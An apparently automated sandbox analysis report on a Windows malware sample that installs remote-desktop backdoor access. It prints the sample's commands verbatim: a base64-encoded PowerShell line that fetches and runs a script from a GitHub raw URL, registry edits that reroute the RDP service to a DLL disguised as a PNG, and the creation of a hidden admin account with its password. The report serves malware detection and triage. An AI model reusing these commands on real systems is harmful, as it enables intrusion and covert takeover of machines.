Analysis

  • max time kernel
    116s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    23-09-2021 11:03

General

  • Target

    f71c575754e1f5890ad8b35afd08b8be.exe

  • Size

    5.9MB

  • MD5

    f71c575754e1f5890ad8b35afd08b8be

  • SHA1

    69803b96f3820fabd81c79d422a1fa2a72ccb699

  • SHA256

    046f08e500cc9156c4af47a73744ccb060606c77d7a8beb5677aa6ff4d256211

  • SHA512

    32f7fab593c46efe2586825aff79688e4a688735bf950b351fe3bdffc4a9dff01da0b2d4a92acf4d4bd14aac362884bd264beced9e8b82fd3111e8ef8ef31301

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f71c575754e1f5890ad8b35afd08b8be.exe
    "C:\Users\Admin\AppData\Local\Temp\f71c575754e1f5890ad8b35afd08b8be.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2392
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3760
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dzjrgmon\dzjrgmon.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1280
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA212.tmp" "c:\Users\Admin\AppData\Local\Temp\dzjrgmon\CSC56A59F14EE92459EBF46ED605ECECEE3.TMP"
          4⤵
            PID:2720
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3848
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4092
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:684
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1980
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:68
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:2804
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:584
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1524
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:740
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1044
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3748
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:4052
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3980
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:972
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:372
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:3328
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:3180
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:1044
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user wgautilacc Ghar4f5 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1264
                    • C:\Windows\system32\net.exe
                      net.exe user wgautilacc Ghar4f5 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1620
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                        3⤵
                          PID:1892
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user wgautilacc LijNdwj5 /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1912
                      • C:\Windows\system32\net.exe
                        net.exe user wgautilacc LijNdwj5 /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3832
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user wgautilacc LijNdwj5 /add
                          3⤵
                            PID:3824
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3736
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3652
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                            3⤵
                              PID:3988
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3748
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1280
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RSSLLXYN$ /ADD
                              3⤵
                                PID:1032
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1784
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:1512
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                3⤵
                                  PID:1776
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user wgautilacc LijNdwj5
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2804
                              • C:\Windows\system32\net.exe
                                net.exe user wgautilacc LijNdwj5
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:1912
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user wgautilacc LijNdwj5
                                  3⤵
                                    PID:644
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic path win32_VideoController get name
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:2240
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic path win32_VideoController get name
                                  2⤵
                                    PID:1980
                                • C:\Windows\System32\cmd.exe
                                  cmd.exe /C wmic CPU get NAME
                                  1⤵
                                    PID:3700
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic CPU get NAME
                                      2⤵
                                        PID:1032
                                    • C:\Windows\System32\cmd.exe
                                      cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                      1⤵
                                        PID:4008
                                        • C:\Windows\system32\cmd.exe
                                          cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                          2⤵
                                            PID:3812
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                              3⤵
                                              • Blocklisted process makes network request
                                              • Drops file in Program Files directory
                                              • Drops file in Windows directory
                                              • Modifies data under HKEY_USERS
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:4020

                                        Network

                                        MITRE ATT&CK Enterprise v6

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • C:\Users\Admin\AppData\Local\Temp\RESA212.tmp

                                          MD5

                                          fbe1d2d9f17a1a7a0e534481748a89fc

                                          SHA1

                                          ee97058aa9ff0ff9b3203fa816f0da9f15492843

                                          SHA256

                                          ecaee54bb025bcaee3a7dbc5c84e2397db77d6a674f577174f0352070f6cb3e8

                                          SHA512

                                          82269332201a75d7f36cdb7509d088d1a2afc679d9f578c7f10f502814a986d94b28b2e1226febb39a53fc3ae021440b647dd0e07fddbf8aff650929c5f74bad

                                        • C:\Users\Admin\AppData\Local\Temp\dzjrgmon\dzjrgmon.dll

                                          MD5

                                          5ed1574f5f1b016d4e9bcfd7449b6675

                                          SHA1

                                          71789bd89093ce2a938abb03234ef49d2bdb167a

                                          SHA256

                                          b8ea7f56529dbd8cf6ae452f518f61e661a0875bb8a5bf0a28d64cd63f6687c6

                                          SHA512

                                          24b5bef88868eecd39a9d5d9f9a2a61b01a4d52d36feefbf195ddbd5cd1e4c78c85c58c0fe9b4d4d5ad231fbdb38f2a757cd90655e60954c42aa2eeeae3422de

                                        • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                                          MD5

                                          3447df88de7128bdc34942334b2fab98

                                          SHA1

                                          519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb

                                          SHA256

                                          9520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9

                                          SHA512

                                          2ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f

                                        • C:\Users\Admin\AppData\Local\Temp\resolve-domain.PS1

                                          MD5

                                          78fc438bc0a10f68012273374fc242de

                                          SHA1

                                          1c2f8f958b4cfb2d822a50f97c1b503d039108d4

                                          SHA256

                                          14249168e782173812af05b444b582847646a69623a3254b8a590ba00365b4e0

                                          SHA512

                                          97d287f9e1ac939505e3ff2b7d6854ae838dd4f0cc3699d157912dcbb116b709b30580baac4c4ce7a5384e28de841dd44f12006c4857bc6a72bc8758427f280e

                                        • \??\c:\Users\Admin\AppData\Local\Temp\dzjrgmon\CSC56A59F14EE92459EBF46ED605ECECEE3.TMP

                                          MD5

                                          d100ef4fd304d401b4b4b6b5609de42b

                                          SHA1

                                          954b0ac7da9b65892078e9aeb6c8e93ef1f75d38

                                          SHA256

                                          e1132c3f8e65454e63f2d8715710bb0dc461e74205e7fe6a414914c8ac619123

                                          SHA512

                                          9880f20caa4437a70d47a22a64c2bb56cb1f35343c5aaae65b6c043f40b2e3b05ae99e387f6ba94d1aa21e65fb0da202450de4cf2da9602e4e93d862098ee229

                                        • \??\c:\Users\Admin\AppData\Local\Temp\dzjrgmon\dzjrgmon.0.cs

                                          MD5

                                          4864fc038c0b4d61f508d402317c6e9a

                                          SHA1

                                          72171db3eea76ecff3f7f173b0de0d277b0fede7

                                          SHA256

                                          0f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84

                                          SHA512

                                          9e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31

                                        • \??\c:\Users\Admin\AppData\Local\Temp\dzjrgmon\dzjrgmon.cmdline

                                          MD5

                                          5dfde51bac009acc09ca1386d180eb91

                                          SHA1

                                          eae3446e197188570a62108fba18a7533be854d4

                                          SHA256

                                          fc3f53b5c5a20a2dcf0b43bee8b11daa9c815766695b5b2af309cb51afcf0eb7

                                          SHA512

                                          a21dc36eda573465a5f45a9752bfc530219c3e65b4c71784d2557c0852fc937234f05fb5cb8f57786261da2d8f80e7beeb4682fda3484479f6bf7e53c445ae58

                                        • \Windows\Branding\mediasrv.png

                                          MD5

                                          07044622ac01aea214d75af177a9976f

                                          SHA1

                                          8647e016414d4ef1da52abcf889210f15c58a640

                                          SHA256

                                          e83dc368abf546e72a528509e3d2fd8e83153f783832abcef014cddb9da002e9

                                          SHA512

                                          21b30facf460b9c93d32e1a54d6e5e2578f49c782eb3325268f83ad9beb14dd2c06b9b8337161099a69c1ad082583fdf94d20c7c4e2c91063e6bc0e6c9664324

                                        • \Windows\Branding\mediasvc.png

                                          MD5

                                          7c2b6a91963747383e5cdb168539962c

                                          SHA1

                                          cd987c6f69702bf0369b4c49c898052fae21d513

                                          SHA256

                                          fc3c17833725d727590ef00fdf3f8d70f52d4c13a9cf52a77b6e74e22d7dae61

                                          SHA512

                                          8a952e2e7ac644cb73bc35f1d099f8c9590027f5e5f89771131025ce878c000fec1aeaf708113889e1044094ebbc311ee46f945cca6946860705edac4eec8141

                                        • memory/68-319-0x0000000000000000-mapping.dmp

                                        • memory/372-367-0x0000000000000000-mapping.dmp

                                        • memory/584-357-0x0000000000000000-mapping.dmp

                                        • memory/644-382-0x0000000000000000-mapping.dmp

                                        • memory/684-308-0x0000020E48F58000-0x0000020E48F5A000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/684-256-0x0000000000000000-mapping.dmp

                                        • memory/684-298-0x0000020E48F56000-0x0000020E48F58000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/684-297-0x0000020E48F53000-0x0000020E48F55000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/684-295-0x0000020E48F50000-0x0000020E48F52000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/740-361-0x0000000000000000-mapping.dmp

                                        • memory/972-366-0x0000000000000000-mapping.dmp

                                        • memory/1032-378-0x0000000000000000-mapping.dmp

                                        • memory/1032-384-0x0000000000000000-mapping.dmp

                                        • memory/1044-362-0x0000000000000000-mapping.dmp

                                        • memory/1044-470-0x0000000000000000-mapping.dmp

                                        • memory/1280-377-0x0000000000000000-mapping.dmp

                                        • memory/1280-142-0x0000000000000000-mapping.dmp

                                        • memory/1512-379-0x0000000000000000-mapping.dmp

                                        • memory/1524-358-0x0000000000000000-mapping.dmp

                                        • memory/1620-371-0x0000000000000000-mapping.dmp

                                        • memory/1776-380-0x0000000000000000-mapping.dmp

                                        • memory/1892-372-0x0000000000000000-mapping.dmp

                                        • memory/1912-381-0x0000000000000000-mapping.dmp

                                        • memory/1980-318-0x0000000000000000-mapping.dmp

                                        • memory/1980-383-0x0000000000000000-mapping.dmp

                                        • memory/2392-120-0x0000016C5C786000-0x0000016C5C787000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2392-117-0x0000016C5C780000-0x0000016C5C782000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2392-118-0x0000016C5C783000-0x0000016C5C785000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2392-115-0x0000016C75500000-0x0000016C75920000-memory.dmp

                                          Filesize

                                          4.1MB

                                        • memory/2392-119-0x0000016C5C785000-0x0000016C5C786000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/2720-145-0x0000000000000000-mapping.dmp

                                        • memory/2804-320-0x0000000000000000-mapping.dmp

                                        • memory/3180-469-0x0000000000000000-mapping.dmp

                                        • memory/3328-368-0x0000000000000000-mapping.dmp

                                        • memory/3652-375-0x0000000000000000-mapping.dmp

                                        • memory/3748-363-0x0000000000000000-mapping.dmp

                                        • memory/3760-140-0x00000226991E3000-0x00000226991E5000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3760-127-0x0000022699770000-0x0000022699771000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/3760-139-0x00000226991E0000-0x00000226991E2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3760-141-0x00000226991E6000-0x00000226991E8000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3760-121-0x0000000000000000-mapping.dmp

                                        • memory/3760-149-0x00000226997C0000-0x00000226997C1000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/3760-132-0x00000226B2490000-0x00000226B2491000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/3760-152-0x00000226991E8000-0x00000226991E9000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/3760-157-0x00000226B2B00000-0x00000226B2B01000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/3760-158-0x00000226B2E90000-0x00000226B2E91000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/3812-385-0x0000000000000000-mapping.dmp

                                        • memory/3824-374-0x0000000000000000-mapping.dmp

                                        • memory/3832-373-0x0000000000000000-mapping.dmp

                                        • memory/3848-179-0x0000023A1D243000-0x0000023A1D245000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3848-178-0x0000023A1D240000-0x0000023A1D242000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3848-165-0x0000000000000000-mapping.dmp

                                        • memory/3848-182-0x0000023A1D246000-0x0000023A1D248000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3848-217-0x0000023A1D248000-0x0000023A1D24A000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3980-365-0x0000000000000000-mapping.dmp

                                        • memory/3988-376-0x0000000000000000-mapping.dmp

                                        • memory/4020-398-0x00000198ECB33000-0x00000198ECB35000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/4020-431-0x00000198ECB38000-0x00000198ECB39000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/4020-404-0x00000198ECB36000-0x00000198ECB38000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/4020-386-0x0000000000000000-mapping.dmp

                                        • memory/4020-396-0x00000198ECB30000-0x00000198ECB32000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/4052-364-0x0000000000000000-mapping.dmp

                                        • memory/4092-208-0x0000000000000000-mapping.dmp

                                        • memory/4092-293-0x0000022F32CC8000-0x0000022F32CCA000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/4092-251-0x0000022F32CC6000-0x0000022F32CC8000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/4092-219-0x0000022F32CC3000-0x0000022F32CC5000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/4092-218-0x0000022F32CC0000-0x0000022F32CC2000-memory.dmp

                                          Filesize

                                          8KB